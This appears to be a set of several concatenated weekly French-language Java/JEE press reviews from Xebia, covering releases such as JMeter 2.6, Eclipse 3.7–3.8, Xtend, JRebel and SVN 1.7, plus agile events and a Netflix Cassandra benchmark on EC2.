Actualité éditeurs / SSII

• Sortie de JMeter en version 2.6 (Par Benoit Lemoine)
• Eclipse 3.8 M5 (Par Nicolas Demengel)

Le coin de la technique

• mutability-detector (Par Nicolas Demengel)

Evénements de notre communauté en France et à l’étranger

• Podcasts Java et… Clojure (Par Bertrand Dechoux)

Actualité éditeurs / SSII

Sortie de JMeter en version 2.6

Pour sa première version en tant que projet Top Level de Apache, JMeter 2.6 apporte de nombreuses nouveautés, dont la liste exhaustive est disponible directement sur la page du projet.

Le célèbre logiciel de test de charge écrit en Java se voit doter, entre autres, d’une toolbar, d’un nouveau système de recherche par mots-clés, ou encore d’un sampler HTTP Raw facilitant le test d’applications GWT ou SOAP. Cette nouvelle version corrige par ailleurs une vingtaine de bugs et ajoute une intégration plus prononcée avec l’OS en gérant les copier/coller et les glisser/déposer de fichiers.

Eclipse 3.8 M5

La Milestone M5 de Eclipse 3.8 (Juno) a été livrée la semaine dernière, l’occasion pour nous de faire un point sur les principales fonctionnalités promises par la future version d’Eclipse :

• conversion facile des boucles « for each » vers un autre type de boucle (avec index ou avec iterateur, selon l’objet sur lequel on itère) via l’assistant contextuel ;
• la détection de fuites mémoire potentielles ou avérées dans le code ;
• la détection de violations des annotations @Nullable et @NonNull ;
• l’inclusion des champs de classe dans l’analyse des variables potentiellement nulles lors de leur utilisation ;
• une barre d’outils simplifiée pour le mode debug et une amélioration des performances des vues associées ;
• l’ajout des annotations de paramètres dans l’explorateur de Javadoc ;
• des évolutions et options cosmétiques ;
• de nombreuses évolutions à l’attention des développeurs de plugins.

Cette version intégrera bien évidemment le support de Java 7. Pour rappel, ce support a déjà été intégré dans la version 3.7.1 (voir la liste de ce qui est supporté).

A noter aussi que depuis quelques années se prépare la nouvelle architecture d’Eclipse, qui aura beaucoup d’impact pour les développeurs travaillant sur la plateforme, et qui devrait se traduire notamment par des évolutions de l’interface pour les utilisateurs. Cette nouvelle version majeure contiendra également les nouveautés listées précédemment dans sa version 4.2.

Le coin de la technique

mutability-detector

Ce week-end s’est déroulé à Bruxelles le Free and Open source Software Developers’ European Meeting (FOSDEM). Bien que n’y étant pas nous-mêmes, certains tweets (@Piwai pour l’exemple) ont porté à notre attention l’outil mutability-detector qui y était présenté.

Cette librairie Java se propose de détecter si nos classes sont immuables ou non, avec un certain indice de confiance : IMMUTABLE (totalement immuable), EFFECTIVELY_IMMUTABLE (immuable à condition de rester maître de l’utilisation de la classe, par exemple si elle peut être étendue), NOT_IMMUTABLE (absolument pas immuable). Pour ce faire, elle applique les règles formalisées par Josh Bloch dans Effective Java.

L’outil propose deux modes de fonctionnement :

• analyse statique :

  java -jar MutabilityDetector.jar -classpath path/to/MyCodebase
  

• ou utilisation au runtime, dans un test unitaire par exemple :

  import static org.mutabilitydetector.unittesting.AllowedReason.*;
  import static org.mutabilitydetector.unittesting.MutabilityAssert.*;
  import static org.mutabilitydetector.unittesting.MutabilityMatchers.*;
  @Test public void checkMyClassIsImmutable() {
    assertImmutable(MyClass.class);
  }
  // on précise ici que l'on veut pouvoir sous-classer la classe en en comprenant les implications
  @Test public void checkMyClassIsImmutable() {
    assertInstancesOf(AbstractIntHolder.class, areImmutable(), allowingForSubclassing());
  }
  

Un exemple de sortie :

org.mutabilitydetector.unittesting.MutabilityAssertionError:
Expected: MyClass to be IMMUTABLE
  but: MyClass is actually NOT_IMMUTABLE
  Reasons:
    Can be subclassed, therefore parameters declared to be this type could be mutable subclasses at runtime. [Class: MyClass]
    Field is not final, if shared across threads the Java Memory Model will not guarantee it is initialised before it is read. [Field: name, Class: MyClass]
    Field [name] can be reassigned within method [setName] [Class: MyClass]
    Field can have a mutable type (java.lang.String) assigned to it. [Field: name, Class: MyClass]

mutability-detector se présente donc comme un outil intéressant pour se prémunir de mauvaises surprises dans une base de code pas très bien maîtrisée qui reposerait sur de la programmation concurrente. Il s’agit aussi d’un moyen comme un autre d’apprendre les règles de l’immutabilité.

On notera tout de même que l’outil n’est – des dires de son auteur – pas encore prêt pour un usage intensif. A surveiller donc !

Evénements de notre communauté en France et à l’étranger

Podcasts Java et… Clojure

Les podcasts sont un médium unique pour rester en contact avec la communauté. Les javaïstes connaîtront bien sûr les Cast Codeurs (en français) ou encore Java Posse (en anglais). Mais la JVM ne se limite pas à Java. Et les clojuriens commencent également à avoir leurs podcasts : Mostly lazy ou encore Think relevance. On y parle entre autres d’avout, permettant d’utiliser le modèle d’état de Clojure dans un environnement distribué mais aussi de clojureScript, un GWT à la Clojure et encore d’Overtone, permettant de réutiliser vos compétences en programmation pour créer de la musique.

Actualité éditeurs / SSII

• Apache Harmony: l’accord final
• Eclipse souffle ses 10 bougies!
• Et un nouveau langage, un!

Agilité

• Jeux agiles, c’est sérieux

Le coin de la technique

• Benchmarking de Cassandra avec Amazon EC2

Evénements de notre communauté en France et à l’étranger

• Velocity Europe à Berlin le 8 et 9 novembre

Actualité éditeurs / SSII

Apache Harmony: l’accord final

Lancé en 2005, le projet Harmony avait pour finalité de créer un JDK distribué sous licence Apache.

Le but était noble, mais le chemin, semé d’embûches: craignant sans doute que la concurrence d’une implémentation open-source et non-virale du JDK ne lui fasse de l’ombre, Sun a toujours opposé une fin de non-recevoir aux demandes adressées depuis 2006 par la Fondation Apache afin d’obtenir un accès au TCK (Technology Compatibility Kit), le précieux sésame indispensable pour qu’Harmony puisse bénéficier du label Java.

L’acquisition de Sun par Oracle en 2009 marqua un tournant dans le monde Java, mais n’a pas vraiment changé l’ostracisme dont souffrait Harmony.

2010 fut l’année des défections: IBM d’abord, son sponsor principal, puis Apple, ont tous deux décidé d’orienter leurs développements vers le projet OpenJDK, l’implémentation open-source mise en avant par Oracle – mais cette fois-ci, il s’agit d’une licence GPL, licence bel et bien virale bien qu’adoucie par l’exception de classpath. C’en fut trop pour la Fondation Apache, qui menaça d’abord de claquer la porte du JCP (Java Community Process) – puis, un mois plus tard, mit ses menaces à exécution.

L’année 2011 démarre sous de meilleurs auspices: c’est la réconciliation, entre Oracle et la communauté Java d’une part; entre Oracle et ses partenaires d’autre part. Mais voilà que cette réconciliation se fit autour du projet OpenJDK, paré désormais de nouveaux statuts fédérateurs et du titre d’implémentation de référence de Java 7. Le projet Harmony se trouva alors définitivement hors-jeu. Google, le seul à avoir misé sur Harmony dont il équipa son système d’exploitation Android, en fait encore les frais: le procès-fleuve qui l’oppose à Oracle est en effet loin de se terminer.

En présentant sa démission en mars dernier, Tim Ellison, alors président du PMC (Project Management Committee) du projet Apache Harmony, avait déjà évoqué l’hypothèse funeste d’un déplacement du projet déjà moribond vers le mouroir des projets Apache. Voilà qui est malheureusement chose faite aujourd’hui: le 29 octobre dernier un vote fut lancé, et le 3 novembre, la décision fut validée à 20 voix contre 2 : c’est donc officiellement la fin du projet Harmony.

Eclipse souffle ses 10 bougies!

Nos confrères d’InfoQ n’ont pas manqué de célébrer cette première décennie du célèbre IDE et retracent sa passionnante histoire, des débuts dans le giron d’IBM, en passant par la création de la Fondation Eclipse en 2004 puis par la « révolution » OSGi, et jusqu’au succès grandissant des rassemblements annuels EclipseCon en Amérique et en Europe. Il en ressort un constat admiratif: que l’on en soit adepte ou bien détracteur, Eclipse a bel et bien marqué de son empreinte le développement logiciel de ces dernières années.

Et un nouveau langage, un!

Et justement, parlons-en d’Eclipse! Edité par la Fondation Eclipse, Xtend est un langage de programmation à typage statique basé sur Java (même système de typage, support complet des generics) mais qui améliore certains de ses concepts. Ce dernier n’a pas pour ambition de détrôner Java, mais d’en étendre les capacités là où il pèche. En effet, il diminue notamment les éléments de syntaxe inutiles et rend le code plus lisible et maintenable grâce à:

• L’inférence de types sur les déclarations de variables, les types de retour, les boucles for et les closures;
• L’invocation des getters et setters en accédant directement à la propriété de l’objet;
• Les point-virgules deviennent optionnels mais aussi les parenthèses pour les méthodes sans arguments. Le mot clé return devient lui aussi optionnel, la dernière expression de la méthode est implicitement considérée comme une valeur de retour.

Techniquement, le code Xtend est compilé en Java et non en bytecode via une compilation incrémentale. De ce fait, le code compilé peut être aisément lu et compris par un développeur Java et être utilisé pour développer sous Android ou GWT par exemple.

Aussi, Xtend vient directement avec un support IDE poussé (Eclipse naturellement), qui offre une expérience de développement quasi similaire au développement en Java standard avec les IDE modernes (coloration syntaxique, navigation, compilation incrémentale, refactoring, etc.). Il est aussi possible de naviguer depuis du code Xtend vers du Java et vice et versa.

Enfin, preuve que Xtend n’a pas pour vocation de remplacer Java mais de le moderniser, le langage est capable de produire uniquement des classes. Pour le reste (interfaces, enums et annotations), il s’appuie sur sur le modèle éprouvé de Java.

Côté « sucres syntaxiques », voici ceux proposé par le langage:

• Les closures, qui restent à ce jour l’une des fonctionnalités les plus attendues pour le langage Java. La documentation montre plusieurs manières de les mettre en oeuvre.
• Un bloc switch amélioré: plus aucun risque d’enchaîner les case par oubli du mot-clé break, le switch à la mode Xtend n’évalue qu’un seul bloc case tout au plus. Il offre aussi la possibilité de lui passer presque n’importe quel type d’objet (exceptés le type primitif boolean et son wrapper). De plus, l’instruction case a été améliorée et peut désormais effectuer toute sorte de tests sur l’objet évalué, et non plus un simple test d’égalité :

switch myString {
 case myString.length > 5 : 'a long string.'
 case 'foo' : 'It's a foo.'
 default : 'It's a short nonfoo string.'
}

Le langage offre aussi la possibilité de typer les instructions case en les préfixant par un type, dans le cas où l’objet passé en paramètre du switch serait étendu par d’autres classes. Dès lors, un opérateur instanceof est évalué et un cast implicite est effecuté pour accéder aux propriétés et méthodes de l’objet:

var Object x = ...;
switch x {
 String case x.length() > 0 : x.length()
 List<?> : x.size()
 default : 1
}

• Les Template expressions qui permettent entre autres de déclarer une chaîne de caractères sur plusieurs lignes sans utiliser l’opérateur de concaténation, mais aussi de déclarer la chaîne avec des guillemets simples (single quotes) pour éviter de multiplier les caractères d’échappement. Cette fonctionnalité permet aussi de formater/indenter et de gérer les whitespaces des outputs aisément.
• Les Méthodes d’extension : Xtend tient son nom de sa capacité à étendre les types via des méthodes d’extensions. Ces méthodes d’extension permettent d’ajouter des méthodes à des types existants sans les modifier.
• Le Multiple dispatch: plus connu sous le nom de surcharge de méthode. Par défaut, Java ou même Xtend lient les méthodes surchargées à la compilation en se basant sur les types statiques des arguments. En déclarant le mot clé dispatch dans la signature de la méthode, le langage permet de définir un ensemble de méthodes surchargées basé sur les types des arguments au runtime.

A noter que Xtend a été développé avec Xtext, un framework pour le développement de Domain Specific Langages, et est basé sur Xbase, un ensemble prédéfini d’expressions qui peuvent être utilisées simplement pour développer n’importe quel langage avec Xtext.

Agilité

Jeux agiles, c’est sérieux

Le buzz de cet automne ce sont les jeux agiles. Le mouvement prend de l’ampleur et de plus en plus d’agilistes en France se tournent vers ce type d’ateliers ludiques mais véritablement efficaces pour leur travail au quotidien, des exemples récents ici, ou encore là le démontrent. Chez Xebia nous utilisons aussi des Innovation Games(R) pour cadrer un projet, résoudre des situations de blocage chez nos clients, ou simplement animer une rétrospective de sprint. Mais les jeux sont aussi un moyen d’apprentissage puissant. Lors de son passage il y a 2 semaines pour une formation Kanban chez Xebia, David Anderson nous a fait jouer à getKanban, un jeu qui permet de simuler la mise en oeuvre d’une gestion de projet façon Kanban. Pendant le jeu, le formateur est là pour nous éclairer sur nos prises de décisions et répondre à nos interrogations, les stagiaires sont acteurs de leur acquisition de connaissance et l’erreur est possible, voire encouragée. Si vous êtes curieux de ces techniques et souhaitez participer à une mise en oeuvre, notez dans vos agendas la SCRUM Night organisée par le French SUG le 7 Décembre et dont le programme sera composé uniquement d’ateliers ludiques et de jeux sérieux (l’agenda est en cours de construction). De son côté, Xebia présentera un sujet intitulé « Ludification du travail » le 10 Novembre prochain à l’EPITA lors de sa 24ème semaine de Conférences Technologiques.

Le coin de la technique

Benchmarking de Cassandra avec Amazon EC2

Les personnes qui étaient aux derniers ateliers Xebia Tech Event auront remarqué l’utilisation d’Amazon EC2 afin d’équiper les participants en environnements de travail virtuels. Le site Netflix propose un retour d’expérience de l’utilisation d’Amazon EC2 dans le cadre de tests de charge du système NoSQL d’Apache, Cassandra.
La charge est produite par l’outil de stress test distribué fourni avec Cassandra, sur des instances créées sur Amazon EC2.

Les outils développés par Netflix sont capables de créer, en une heure, un cluster comprenant :

• 288 instances de tailles de type M1 Extra Large (m1.xl) réparties sur trois continents;
• 60 instances pour le client de stress test (type m2.4xl) sur un seul continent.

Netflix précise qu’Amazon a mis environ 15 minutes pour créer les 348 instances! Les 45 autres minutes de préparation de l’infrastructure ont été prises par le temps de démarrage de Linux, les JVM des injecteurs, de Cassandra et la création de l’anneau du cluster.
Le test a duré 2 heures, pour un coût total de quelques centaines de dollars. L’avantage mis en avant par Netflix d’utiliser Amazon EC2 est de pouvoir réaliser des tests à très grande échelle, en quelques heures, sans aucun pré-requis matériel ou même impacter l’infrastructure de production. Ce test aurait certainement été plus lent et plus coûteux à organiser dans un datacenter privé d’entreprise.

Netflix a mesuré deux éléments :

• la persistance sur le disque pour l’écriture;
• la performance de cache en mémoire pour la lecture.

Les tests ont été lancés avec 48, puis 96, 144 et enfin 288 instances, avec 10,20,30 et 60 clients. Vous retrouverez dans leur billet les configurations matérielles utilisées lors de ces tests. Un tableau récapitulatif donne une estimation du coût du test de charge entre chaque tir.
Etant donné que les injecteurs de tests étaient sur un continent (Amérique), et les clusters sur trois (Europe, Asie, Amérique), 2/3 du trafic était intercontinental.

Chaque injecteur génère 20 000 requêtes par seconde. Le client est connecté à 3 noeuds Cassandra. Le principe du LOCAL QUORUM est ici utilisé (on attend la réponse de N/2 + 1 noeuds pour la confirmation). Le débit d’écriture a atteint 1,1 million d’écritures par seconde sur tout le système. Avec la réplication entre chaque noeud, on arrive à 3,3 million d’écritures par seconde.
Les mesures effectuées prouvent une montée en charge linéaire de 48 à 288 instances sans identifier de goulet d’étranglement. Les mesures unitaires de chaque noeud montrent une activité équivalente, preuve que le cluster distribue correctement la charge.

Cela démontre bien les nouvelles possibilités offertes par les systèmes d’infrastructure sur demande, et les défis que cela nous permet de relever.

Evénements de notre communauté en France et à l’étranger

Velocity Europe à Berlin le 8 et 9 novembre

Velocity Europe organise mardi 8 et mercredi 9 une conférence à Berlin sur le thème Web Performance et Operations.
Les présentations abordent de nombreux sujets passionnants.
Voici quelques unes des sessions sur les performances Web :

• Know Your Engines: How to Make Your JavaScript Fast
• Mobile UI Performance
• Performance Automation 101

Et sur les operations :

• Be Fast Or Stay Behind – Building A Continuous Delivery Platform
• HTTP Connection Management, From 10 Users To 100 million
• NoSQL Performance In The Real World

Des keynotes auront également lieu avec des speakers venus de Google, Amazon, Dynatrace, New Relic, etc.
Il est important de préciser que certaines présentations sont retransmises en direct, mais pas forcément celles qu’on voudrait .

La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.

Actualité éditeurs / SSII

• JRebel: version 4.5, maintenant gratuit pour un usage personnel
• Sonatype Insight

Le coin de la technique

• Logback en version 0.9.30 réinvente les stack traces
• Eclipse 3.7.1 supporte maintenant Java 7

Evénements de notre communauté en France et à l’étranger

• Coding dojo sur le thème de Clojure

Actualité éditeurs / SSII

JRebel: version 4.5, maintenant gratuit pour un usage personnel

ZeroTurnaround a annoncé cette semaine la version 4.5 de JRebel, l’outil qui permet de modifier le code de son application à chaud, sans avoir besoin de la redéployer. Accompagné de ses plugins pour les différents IDE, il est très pratique et permet de régulièrement gagner beaucoup de temps en développement.
Cette version apporte comme d’habitude son petit lot de nouveautés comme un support natif de Java 7, JBoss AS 7, Spring Web Services et JAXB, un meilleur support des JSF et une meilleure compatibilité du rechargement des EJB sur certains serveurs. La liste des modifications est disponible ici.
Mais la grosse nouveauté, c’est l’apparition d’une version gratuite non limitée dans le temps. Jusqu’alors, une version d’essai de JRebel existait, mais elle était limitée à 30 jours. On se souvient que ZeroTurnaround avait récemment augmenté ses prix, et cette gratuité va sans doutes lui permettre d’être testé par de nombreux développeurs qui voudront alors peut être passer à la version payante dans leur job. Car en effet, et c’est là la limitation de la version gratuite: elle est limitée à une utilisation dans un cadre non commercial. De plus, il vous faudra vous enregistrer avec vos comptes Twitter ou Facebook sur lesquels JRebel ira peut être de temps en temps poster des messages du style « grâce à JRebel, j’ai gagné 2 jours de productivité ce mois-ci ». Si vous êtes prêts à tenter le coup, rendez vous sur https://social.jrebel.com.

Sonatype Insight

La semaine dernière, Sonatype, l’entreprise qui pilote les développements de Maven, a annoncé sur son blog sa toute nouvelle suite Sonatype Insight.

Comme définit par Sonatype, Insight a été conçu pour aider les entreprises qui développent des applications à avoir plus de visibilité et de contrôle en ce qui concerne l’utilisation de composants open source. Avec ce nouveau produit, Sonatype rejoint un groupe restreint d’entreprises, dont Protecode et Black Duck, qui visent à aider les organisations à mieux maîtriser leurs composants open source.

La suite de Sonatype est composée de trois modules : Management Insight, Application Insight et Development Insight. Ensemble, ces trois modules proposent :

• de développer plus vite des applications plus fiables
• de choisir le composant open source le mieux adapté au besoin (ce qui diminue le risque de régression en cas de changement)
• d’éviter l’utilisation de licences indésirables et de composants dont la sécurité peut être défaillante
• de simplifier la gestion et le suivi des composants open source.

Sonatype Insight propose d’accompagner les équipes de développement pendant tout le cycle de vie d’un projet, de la conception jusqu’à la production. Ainsi, son l’intégration avec des outils tels que Maven, Eclipse, Jenkins ou Ant est tout à fait possible. Comme attendu, Insight se branche sur le Référentiel Central de Maven qui est financé par Sonatype elle-même.

Enfin, le coût de la licence du module Application Insight est actuellement basé sur le nombre d’applications analysées. Le coût de la licence des modules Development Insight et Management Insight dépend du nombre d’utilisateurs.

Pour plus d’informations :

• L’annonce sur InfoQ
• Sonatype Insight

Le coin de la technique

Logback en version 0.9.30 réinvente les stack traces

Vous tenez le format des stack traces pour immuables ? Sans doutes ne vous étiez-vous jamais posé la question ? Mais n’avez-vous jamais pesté sur la difficulté de suivre la séquence des événements ayant mené à l’erreur, notamment quand les exceptions sont catchées et relancées plusieurs fois ? C’est le problème qu’a tenté de résoudre Byron Kiourtzoglou Tomek Nurkiewicz en proposant un patch pour Logback qui vient d’être intégré dans la toute nouvelle version 0.9.30
Dans l’article suivant, il détaille, capture de traces à l’appui, comment son nouveau formatter permet d’obtenir des traces plus lisibles en cas d’Exception: une simple lecture de bas en haut permet de comprendre le cheminement, depuis la méthode main() jusqu’à la cause originale qui apparaît maintenant en haut.
Bien sûr, cette fonctionnalité n’est pas activée par défaut et il vous faudra ajouter un simple « %rEx » au pattern de votre logger pour en profiter. Après, cela demandera sans doutes un peu d’habitude mais pourra sembler plus logique à nombre de développeurs. A essayer au plus vite donc !

Eclipse 3.7.1 supporte maintenant Java 7

Une petite news rapide pour vous informer que Eclipse Indigo Service Realease 1, aka Eclipse 3.7.1 vient de sortir. Elle apporte principalement le support de Java 7 que vous pourrez donc utiliser dans vos projets perso (car ne rêvez pas, si vous êtes encore en Java 4 dans votre job, vous n’allez pas passez tout de suite à Java 7 ). Vous bénéficierez aussi de la correction de nombreux bugs en sus des apports de Java 7, c’est toujours ça.
A noter que si vous utiliser Groovy-Eclipse, il vous faudra utiliser la version de développement, dont l’update site est indiqué dans ce blog, afin d’être compatible avec les nombreux changement apportés au compilateur Eclipse.

Evénements de notre communauté en France et à l’étranger

Coding dojo sur le thème de Clojure

Il y a quelques semaines que s’est créé le Clojure Paris User Group (CPUG). Actuellement, ce user group est caractérisé par un groupe Google et deux coding dojo. À ce propos, mercredi dernier s’est tenu le coding dojo du CPUG durant le déjeuner chez Finance Active, près du palais Brongniart. Un Xébian y était présent !

(Photographie par Ulrich Vachon avec son autorisation)

Pour rappel, le coding dojo est une réunion durant laquelle des développeurs tente de résoudre un défi technique. Cette réunion se situe dans une salle assez grande, contenant un ordinateur relié à un vidéo-projecteur. Dans sa forme Kata Randori, une fois le sujet choisi et l’environnement de développement préparé, deux personnes se mettent en binôme à l’ordinateur: une prend le rôle de pilote et tape au clavier pendant que l’autre prend le rôle de co-pilote et dirige le pilote. Toutes les 5-10 minutes. le pilote va se rassoir, le co-pilote prend la place du pilote et une personne de l’assemblée vient remplacer le co-pilote. Bien entendu, il ne faut pas attendre d’être au niveau de l’ordinateur pour parler : dans un coding dojo, tout le monde participe. Plus d’informations sont disponibles sur ce site : http://codingdojo.org/
Pour en revenir à Clojure, le défi consistait à programmer en Clojure une fonction capable de trouver les n premiers nombres premiers. Nous étions une petite dizaine et nous avons eu le temps de faire une rotation complète en 1h20. Bien qu’étant tous plus ou moins débutants, la cohésion du groupe et la volonté d’atteindre le but ont fait que nous avons fini par obtenir un code qui fonctionne. Vous trouverez ici le code obtenu : https://github.com/elefevre/dojo-at-lunch/blob/master/2011-09-21-nombres-premiers/test/prime_numbers/test/core.clj

La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia.

Agilité

• Compte rendu de la soirée Kanban Devops du French SUG
• Le compte twitter de la semaine

Le coin de la technique

• Eclipse Indigo: Indigeste ou Indispensable ?
• SVN 1.7: première version majeure chez Apache
• jQuery Mobile Beta 1 Released!
• Grails fait un bond en avant

Evénements de notre communauté en France et à l’étranger

• Roadshow #agile #offshore #xebia

Agilité

Compte rendu de la soirée Kanban Devops du French SUG

Le French Scrum User Group organisait vendredi dernier une soirée sous le double thème de Kanban et DevOps. Voici un bref retour des présentations.

Laurent Morisseau a commencé la soirée par une introduction progressive à Kanban. Partant de la description des piliers du Lean, le système de production de Toyota, il a déroulé un cycle de 5 étapes, mettant tour à tour en lumière un principe fondamental de l’approche appliquée à l’IT. Laurent a également abordé l’application de Kanban dans un domaine plus large que l’équipe de développement logiciel: Scrumban qui intègre la partie amont de la réalisation d’un logiciel, côté Product Owner, et DevOps qui intègre la partie aval côté opération / production. Laurent a terminé sa présentation en donnant des pistes pour une application encore plus large de Kanban: le principe de Lean Startup pour remonter au delà du produit logiciel et attaquer le business model, et le Lean IT pour adresser des intervenants encore plus en aval: équipes support, centres de service clients.

Dominica de Grandis nous a ensuite détaillé un retour d’expérience sur la mise en œuvre de Kanban depuis les équipes de dev jusqu’au équipe de prod au sein de Corbis. L’initiative a commencé en 2006 et Dominica nous présente l’évolution des travaux pendant 2 ans jusqu’en 2008. Il faut noter que la société s’est faite coacher par David Anderson, figure de proue du mouvement Kanban appliqué à l’informatique. Dominica nous raconte que l’optimisation continue du flux de tâches a conduit progressivement à l’émergence des valeurs portées aujourd’hui par la communauté DevOps. Ce que nous retenons de la présentation, au delà de slides un tantinet vintage, c’est :

• Les standups façon Kanban sont plus rapides car tout le travail est visible sur le tableau, donc personne n’a besoin de dire sur quoi il travaille, on se focalise simplement sur les obstacles
• Un créneau de 15 minutes était réservé après les standups pour tenir des discussions techniques, cela a conduit a sensiblement diminuer les interruptions de travail entre équipe pendant la journée, car chacun savait qu’il pouvait aborder des points techniques avec n’importe qui le jour suivant
• L’institution des « Operational Reviews » mensuels pendant lesquelles les performances financières sont présentées à l’ensemble des équipes, puis chaque équipe évoque à tour de rôle ses difficultés. Dominica nous explique qu’elle a obtenu un budget supplémentaire de la direction grâce à des graphiques très simples montrant les limites de capacité de son équipe
• Transparency = trust, vulnerability = empathy

Nous avons ensuite assisté à une présentation ping-pong entre Fabrice Aimetti et Antoine Vernois pour opposer, sans vraiment le faire au final, les approches SCRUM et Kanban. Tout y passe: approche globale, technique de gestion des nouvelles demandes, stratégie multi-produits, indicateurs clés, cible privilégiée. Cette présentation a déjà été jouée au ScrumDay 2011 et vous pouvez la voir en video sur Youtube.

Vous pouvez retrouver une rétrospective de cette soirée sur les blogs de Fabrice, Antoine, et Laurent.

Le compte Twitter de la semaine

Si vous voulez vous payer une bonne tranche de rire, suivez @AgileBorat sur Twitter. Et oui, Borat s’est reconverti dans le coaching Agile et il raconte son expérience sur Twitter, toujours dans un anglais approximatif. Inutile de vous conseiller en lisant ses tweets: n’essayez pas à la maison. Dans le même style @DevOps_Borat vous fera aussi sourire.

Décidément, Xebia ne recule devant rien pour vous donner les bonnes sources d’information.

Le coin de la technique

Eclipse Indigo: Indigeste ou Indispensable ?

Comme tout les ans, la fin juin est l’occasion de voir l’IDE Eclipse se refaire une beauté. Cette année, c’est sous le petit nom de Indigo que Eclipse 3.7 débarque. De plus en plus de lignes de code, de plus en plus de projet… Alex Blewitt nous donne sur son blog un aperçu de l’évolution du projet au cours des années. Le moins que l’on puisse dire c’est que du chemin a été parcouru depuis la V1 il y a pres de 10 ans ! Mais alors, cette année, à quoi peut t’on s’attendre ? Les nouveaux projet principaux sont les suivant:

• L’intégration de Maven, sous la forme du plugin M2E
• Eclipse Scout, qui est un framework basé sur la plateforme Eclipse pour écrire des application type client lourd (Swing, SWT) distribuées. Le serveur est basé sur Equinox tournant dans un serveur JEE. Un retour d’expérience est disponible chez Developpez.com.
• Jubula est un outil pour tester les IHM lourdes (SWT, Swing) comme légères (HTML).
• WindowBuilder dont nous vous avions déjà parlé
• Graphiti est une plateforme pour développer des outils de modélisations de modèles basés sur Java ou EMF
• Egit et Jgit sont respectivement les plugins fournissant l’interface d’Eclipse autour de Git et les accès bas niveau à Git. Bref, ce couple était attendu en version stable.

Concrètement, nous avons été déçus par M2E: cette release était l’occasion d’avoir enfin un support digne de ce nom de Maven dans Eclipse. Il faudra attendre.

• Tout d’abord, le package « Eclipse IDE for Java EE Developpers » ne contient pas M2E, contrairement à certains autres. Et nous ne sommes pas les seuls à qui il manque !
• Ensuite, si on veut l’installer, il faut faire attention: la version proposée sur le marketplace (par ailleurs un superbe outil pour bookmarker ses plugins favoris) est la V0.12.1 et non la nouvelle V1.0. Cette dernière est accessible par l’URL d’update suivante: http://download.eclipse.org/technology/m2e/releases.
• Enfin, cette nouvelle version « apporte » maintenant un concept de connecteurs. Les plugins de génération de code comme CXF ou JAXB doivent posséder leur connecteur spécifique dans Eclipse pour que la configuration des projets, et notamment les phase de génération de code source et le paramétrage des répertoires de source (target/generated-sources/jaxb par exemple) soient correctement effectués. On peut comprendre que pour une collaboration optimum entre Eclipse et Maven il y ait besoin de tels connecteurs, histoire que des modifications de fichiers ne soient pas faites dans le dos d’Eclipse. Mais toujours est-il que si l’on ne dispose pas de ces connecteurs, cela pose bien des problèmes. Et il est alors plus simple de continuer à gérer son workspace avec un bon mieux « mvn generate-sources eclipse:eclipse ».
• Pour couronner le tout, il semble que la version précédente continue à évoluer (en 0.13.0).

Bref, il semble que la confusion entourant M2E ne soit pas proche de son terme et le forum dédié risque d’être fréquenté encore un moment.

Sinon, pour plus d’information sur toute la fondation Eclipse et son fonctionnement, le dernier épisode des Cast Codeurs voit Emmanuel Bernard interroger Etienne Juliot, directeur commercial de Obeo et dans le secret de la fondation Eclipse. On y apprend notamment que l’année prochaine verra la sortie d’Eclipse 4.2: la plateforme est quasi-prête, mais toute la partie IDE Java est encore en développement. Vivement l’année prochaine ?

SVN 1.7: première version majeure chez Apache

Subversion est sorti en version 1.7. C’est la première release stable depuis son passage chez Apache.
Ce qui sautera immédiatement aux yeux du plus grand nombre (ou pas, si vous n’affichez pas les fichiers cachés !) est la disparition de ces innombrables répertoires « .svn » qui peuplaient les arborescence des projets. Qui n’a jamais écrit de script pour les supprimer facilement ?! Et bien ça ne sera plus la peine, tout sera maintenant stocké à la racine. Diverses optimisations sont aussi de la partie. Nous vous renvoyons à l’article sur le blog de Thomas Recloux ou aux release-notes officielles

jQuery Mobile Beta 1 Released!

Voici une nouvelle un peu tardive puisque l’annonce date déjà du 20/06 dernier, mais il ne fallait pas passer à côté. Avec cette première bêta, l’équipe JQuery souhaite lancer un nouveau calendrier avec une nouvelle release tous les mois. La version finale 1.0 étant attendue pour la fin de l’été. Parmi les nouveautés de cette version on retiendra surtout:

• Le support des navigateurs BlackBerry et Opera mini. La liste des plateformes supportées continue donc à s’allonger, mais on peut désormais considérer que la librairie adresse toutes les plateformes majeurs du marché (consultez la matrice des navigateurs supportés).
• Le support du masquage de la barre de navigation sous Android et iOS, qui nous permet de créer des interfaces plus immersive et de faire oublier encore un peu plus que l’application n’est pas développée en code natif.
• L’amélioration des transitions de page à page: le scroll est plus performant et plus fluide, mais de nouvelles améliorations sont encore à prévoir.
• La refonte de l’API de navigation afin de découpler les traitements et permettre aux développeurs de modifier le comportement sans mal.
• Le support de tous les formats d’URL possible (du chemin absolu au chemin relatif en passant par les différents protocoles).

Cette version contient bien d’autres améliorations et refactorings, dont vous pouvez consulter le détail dans l’annonce officielle. Avec ce passage, en version bêta, JQuery Mobile confirme l’essai et continue sur sa lancée pour proposer des IHM toujours plus fluide et dynamique dans les navigateurs mobile. Vivement la sortie de la version finale qui saura sans nul doute exploiter au maximum les performances des moteurs JavaScript.

Grails fait un bond en avant

Les amélioration apportées par Grails en version 1.4 ont été tellement appréciées que Graeme Rocher a proposé d’abandonner le numéro de version 1.4 et de passer directement à la version 2.0.

Parmi les nouveautés :

• Migration de bases de données et reverse engineering de schéma existant
• Gestion des Datasources multiples
• Scaffolding HTML5 compliant
• Mises à jour de la stack avec Groovy 1.8, Spring 3.1, Hibernate 3.6 et Servlet 3.0
• Nouvelle API de test intégrant le support de Spock
• Améliorations de performance

… et bien d’autres choses. Voir l’annonce sur grails.org.

Evénements de notre communauté en France et à l’étranger

Roadshow #agile #offshore #xebia

Jeudi dernier se tenait à l’hôtel Scribe l’étape parisienne du roadshow Agile Offshore organisé par Xebia. Le programme concocté pour l’occasion s’appuyait sur deux présentations magistrales et un retour d’expérience. Nous vous livrons ci-après un court extrait pour ceux qui n’ont pu participer.

Notre président Luc Legardeur a lancé l’événement avec une introduction retraçant rapidement l’histoire et les motivations de l’offshore dans les prestations IT. Luc précise que Xebia possède 8 ans d’expérience dans la mise en œuvre de l’agilité en contexte offshore. Cette expérience, acquise parfois dans la douleur, donne à Xebia la maturité et la crédibilité nécessaire pour prendre en charge ce type de prestation.

